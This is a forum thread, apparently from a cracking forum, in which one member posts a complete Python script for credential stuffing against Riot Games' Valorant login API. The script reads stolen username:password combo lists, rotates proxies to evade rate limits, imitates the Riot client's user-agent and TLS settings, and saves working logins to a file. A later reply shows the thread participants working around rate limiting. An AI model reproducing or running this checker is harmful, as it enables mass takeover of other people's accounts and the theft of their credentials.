Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!



   1123

I NEED HELP

by njemac1996 - 16 July, 2023 - 07:56 AM
This post is by a banned member (njemac1996) - Unhide
This post is by a banned member (IPTV) - Unhide
IPTV  
Supreme
160
Posts
43
Threads
5 Years of service
#2
from colorama import Fore, init, Style
import requests
import typing
import ssl
import ctypes
import os
from requests.exceptions import ProxyError

class SSLAdapter(requests.adapters.HTTPAdapter):
    def init_poolmanager(self, *a: typing.Any, **k: typing.Any) -> None:
        c = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
        c.set_ciphers(
            ":".join(
                [
                    "ECDHE-ECDSA-AES128-GCM-SHA256",
                    "ECDHE-ECDSA-CHACHA20-POLY1305",
                    "ECDHE-RSA-AES128-GCM-SHA256",
                    "ECDHE-RSA-CHACHA20-POLY1305",
                    "ECDHE+AES128",
                    "RSA+AES128",
                    "ECDHE+AES256",
                    "RSA+AES256",
                    "ECDHE+3DES",
                    "RSA+3DES",
                ]
            )
        )
        k["ssl_context"] = c
        return super().init_poolmanager(*a, **k)

class ProxyAdapter(requests.adapters.HTTPAdapter):
    def __init__(self, proxies: typing.List[str]):
        self.proxies = proxies
        super().__init__()

    def proxy_manager_for(self, *args, **kwargs):
        proxy_url = self.proxies.pop(0)
        if not self.proxies:
            self.proxies = self.load_proxies()  
        kwargs["proxy_url"] = proxy_url
        return super().proxy_manager_for(*args, **kwargs)

class Valorant:
    def __init__(self):
        self.combos = []
        self.proxies = []

    def session(self, login=False):
        session = requests.Session()
        session.trust_env = False
        if login:
            session.headers = {
                "User-Agent": "RiotClient/58.0.0.4640299.4552318 %s (Windows;10;;Professional, x64)",
                "Accept-Language": "en-US,en;q=0.9",
                "Accept": "application/json, text/plain, */*",
            }
            session.mount("https://", SSLAdapter())
        return session

    def load_combos(self):
        if os.path.exists("combo.txt"):
            with open("combo.txt", "r", encoding="UTF-8") as f:
                for line in f.readlines():
                    line = line.replace("\n", "")
                    self.combos.append(line)
        else:
            open("combo.txt", "a").close()

    def load_proxies(self):
        if os.path.exists("proxies.txt"):
            with open("proxies.txt", "r", encoding="UTF-8") as f:
                for line in f.readlines():
                    line = line.replace("\n", "")
                    self.proxies.append(line)
        else:
            open("proxies.txt", "a").close()

    def login(self, combo):
        username = combo.split(":")[0]
        password = combo.split(f"{username}:")[1]
        session = self.session(True)
        r = session.post(
            "https://auth.riotgames.com/api/v1/authorization",
            json={
                "acr_values": "urnriotbronze",
                "claims": "",
                "client_id": "riot-client",
                "nonce": "oYnVwCSrlS5IHKh7iI16oQ",
                "redirect_uri": "http://localhost/redirect",
                "response_type": "token id_token",
                "scope": "openid link ban lol_region",
            },
            
            adapters=[ProxyAdapter(self.proxies)]
        )
        if r.json().get("type") == "auth":
            if r.json().get("error") == None:
                login = session.put(
                    "https://auth.riotgames.com/api/v1/authorization",
                    json={"type": "auth", "username": username, "password": password},
                )
                if "auth_failure" in login.text:
                    print(f"{Fore.RED}[Invalid] {Fore.WHITE}{combo}")
                elif "uri" in login.text:
                    print(f"{Fore.GREEN}[Valid] {Fore.WHITE}{combo}")
                    with open("Valid.txt", "a") as f:
                        f.write(combo + "\n")
                else:
                    print(
                        f"{Fore.LIGHTYELLOW_EX}[Error] {Fore.WHITE}{login.text} {combo}"
                    )

    def main(self):
        self.load_combos()
        self.load_proxies()
        os.system("cls")
        print("{} combos loaded".format(len(self.combos)))
        for combo in self.combos:
            while self.proxies:
                try:
                    self.login(combo)
                    break
                except ProxyError:
                    print(f"{Fore.LIGHTRED_EX}[Proxy Error] {Fore.WHITE}Proxy failed. Retrying with the next proxy...")
        print("\nFinished checking.")

obj = Valorant()
obj.main()
input()
This post is by a banned member (njemac1996) - Unhide
This post is by a banned member (IPTV) - Unhide
IPTV  
Supreme
160
Posts
43
Threads
5 Years of service
#4
(16 July, 2023 - 08:27 AM)njemac1996 Wrote: Show More
@MerlonCodes Bro not working still have rate limit

sent you a pm, theres another step
This post is by a banned member (colorles) - Unhide
This post is by a banned member (njemac1996) - Unhide

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)